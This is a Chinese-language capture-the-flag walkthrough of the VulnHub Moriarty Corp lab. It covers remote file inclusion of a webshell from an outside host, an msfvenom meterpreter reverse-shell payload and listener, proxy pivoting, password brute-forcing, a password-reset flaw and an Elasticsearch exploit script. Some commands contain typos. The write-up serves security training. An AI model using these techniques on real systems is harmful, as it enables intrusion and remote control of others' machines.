Moriarty Corp靶場攻略
靶場環境
本次所使用的攻擊機為kalilinux系統,攻擊過程中涉及到的工具主要有:公網主機VPS,中國菜刀/中國螞劍,burpsuite,msf,MobaXterm,一句話木馬,proxychains,nmap,searchsploit,exp腳本等。攻擊的拓撲結構如下圖所示。

注意: 外網服務器(8000端口)為提交flag以及攻擊提示處,并不存在漏洞,請不要進行攻擊行為。Flag的存儲格式為#_flag.txt,通常存儲在服務器的不同目錄下面。每次提交flag后都會給相關提示和說明。開始滲透之前須向外網服務器(8000端口)提交flag{start},表示攻擊開始正常啟動。本次實驗的虛擬機采用virtual box.
詳細靶場說明請參考:
https://www.vulnhub.com/entry/boredhackerblog-moriarty-corp,456/
靶場下載地址:
Download (Mirror):
https://download.vulnhub.com/boredhackerblog/MoriartyCorp.ova
Download (Torrent):
https://download.vulnhub.com/boredhackerblog/MoriartyCorp.ova.torrent
主機發現
通過arp(地址解析協議)進行局域網內主機發現,arp是根據IP地址獲取物理地址的一個TCP/IP協議。主機發送信息時將包含目標IP地址的ARP請求廣播到網絡上的所有主機,并接收返回消息,以此確定目標的物理地址;收到返回消息后將該IP地址和物理地址存入本機ARP緩存中并保留一定時間。
>>> namp -sn -PR -T 4192.168.124.0/24
-sn:只進行主機發現,不進行端口掃描。
-PR:ARP Ping。
-T:指定掃描過程使用的時序,總有6個級別(0-5),級別越高,掃描速度越快,在網絡通訊狀況較好的情況下推薦使用T4。

文件包含漏洞
通過訪問頁面http://IP/file=name.html,可猜測為目錄遍歷或者文件包含漏洞,如下為漏洞驗證結果。

文件包含漏洞,通常分為本地文件包含和遠程文件包含。本地文件包含,通常需要能夠寫入webshell的文件進行包含,進而獲取shell權限。遠程文件包含,可對遠程寫入webshell的文件進行包含,獲取shell權限。如下為遠程服務器test.txt文件寫入phpinfo();

訪問頁面對遠程主機的test.txt文件進行包含,驗證遠程文件漏洞真實存在。這樣可以在遠程服務器寫入webshell進行包含,進而獲取Moriarty Corp服務器的主機shell權限。

如下所示,通過菜刀直接連接后,可以獲取到shell權限。通過查看目錄,在根目錄查看到1_flag.txt。
木馬文件鏈接地址:http://192.168.124.14/?file=http://xx.xx.xx.xx/snail.txt


將獲取到的flag內容進行提交后,Moriarty Corp靶場給出新的提示。如下圖所示,提示內網環境中存在重要的網站,里面存在要獲取的flag信息,并且告知內網范圍在172.17.0.3-254段。由此,開始步入后滲透攻擊階段,由于靶場環境主要以linux系統環境為主,故此處后滲透工具在此處選擇metasploit工具為主。

反彈shell
攻擊機進行監聽設置(注意:監聽主機設置需要與生成的payload保持一致):
>>> useexploit/multi/handler>>> set payloadslinux/x64/meterpreter_reverse_tcp>>> set LHOST192.168.124.15 #監聽主機ip地址>>> set PORT 9999 #監聽主機端口號>>>exploit -j

生成反彈需要的payload文件:
>>> msfvenom -plinux/x64/meterpreter_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf

將生成的文件上傳到目標主機,并更改payload可執行權限,并執行。
>>> chmod 777 shell.elf >>> ./shell.elf


在攻擊端,監聽的主機收到目標主機反彈的shell權限,如下圖所示:

添加代理
根據提交flag后系統反饋的提示說明,需要我們對內網的web應用網站進行滲透攻擊,此時為了能夠訪問到內網,需要進行添加代理操作。查看當前路由有一個內網段ip地址段位172.17.0.0/24。

執行指令添加路由操作。
>>>run autoroute -s 172.17.0.0/24

添加socks5代理:
>>>use auxiliary/server/socks5 >>>run

此處應用proxychains工具,進行內網探測,使用編輯器在文件/etc/proxychains.conf的最后一行加入socks5代理的配置信息。 |
--- snippet --- [ProxyList] # add proxy here ... # meanwile # defaults set to "tor" socks5 127.0.0.1 1080
內網探測
通過執行代理工具proxychains,對Moriarty Corp內網web服務進行探測,可以發現主機ip地址為172.17.0.4。執行指令如下所示:
>>>Proxychains nmap 172.17.0.0/24 -sV -sT -Pn -T4 -p80

暴力破解
此時通過瀏覽器是不能訪問到內網服務器,需要在瀏覽器配置代理進行訪問,配置代理類型選擇socks5,本地端口為1080。配置好以后,就能通過代理訪問內網web應用了。

通過瀏覽頁面可發現,為一個文件上傳頁面,但是上傳需要輸入口令,方可操作成功。此時考慮可通過burpsuite進行攔截后,口令破解。

打開burpsuite后,需要添加代理,這樣才能將攔截到的數據正確發送到目標服務器,配置過程如下所示:


對攔截的數據更改口令字段,添加常用字典,此處用的字為:top1000.txt。查看破解成功字段的真實口令為password。

文件上傳
如下圖所示,成功將木馬上傳至服務器:

常用的菜刀,Cknife等工具并不存在代理功能,此處使用中國蟻劍工具進行連接,配置蟻劍代理如下所示:


成功連接到內網的shell后,訪問目標系統不同目錄,獲取第二個flag文件:2_flag.txt

ssh弱口令
將獲取到的flag內容進行提交后,Moriarty Corp靶場給出新的提示。如下圖所示,給出幾個用戶名和密碼hash值。對內網中的ssh服務進行弱口令猜解。

通過第三方網站,對給出的hash值進行破解,如下所示為破解的hash結果:

對內網的22端口進行探測,發現主機172.17.0.8開放22端口,并對該內網主機進行ssh弱口令猜解。
>>>proxychains nmap -sV -t -Pn -p22 127.17.0.0/24

通過第三方工具MobaXterm添加代理后,遠程連接到內網主機,具體操作過程如下所示:


猜解成功后,獲得當前內網主機的基本權限,訪問目錄后的3_flag.txt。查看并進行提交。

任意用戶密碼重置
將獲取到的flag內容進行提交后,Moriarty Corp靶場給出新的提示。如下圖所示,提示說存在一個聊天網站,管理員的聊天記錄可能存在有價值的信息。并給出服務器開放端口可能在443,8000,8080,8888。

對內網的443,8000,8080,8888端口進行探測,發現主機172.17.0.9開放8000端口,并對該內網主機web應用進行訪問。
>>>proxychains nmap -sV -t -Pn -p443,8000,8080,8888 127.17.0.0/24

根據提示給出的用戶名和口令進行登陸,查看網站具有兩個功能,可以查看chats聊天記錄,可以更改用戶名密碼。嘗試抓包,通過更改用戶名為管理員,設置口令。此時如果存在任意用戶名口令更改漏洞,此時就可以把管理員登陸密碼從新設置。


更改后,便可以以管理員身份進行登陸了。通過訪問chats可以查看到另外一個flag信息。


將獲取到的flag內容進行提交后,Moriarty Corp靶場給出新的提示。如下圖所示,文中提到一個web應用Elasticsearch。嘗試百度查詢了一下,該服務默認運行在9200端口,并存在框架漏洞。

遠程代碼執行
對內網的9200端口進行探測,發現主機172.17.0.10開放9200端口,并對該內網主機web應用進行訪問。
>>> proxychains nmap -sV -sT -Pn -p9200 127.17.0.0/24

依據kali自帶功能searchsploit功能進行版本漏洞搜索:
>>>searchsploit elasticsearch

使用36337.py腳本執行遠程代碼執行攻擊,獲取shell權限

通過查看目標主機目錄,獲取flag信息6_flag.txt。

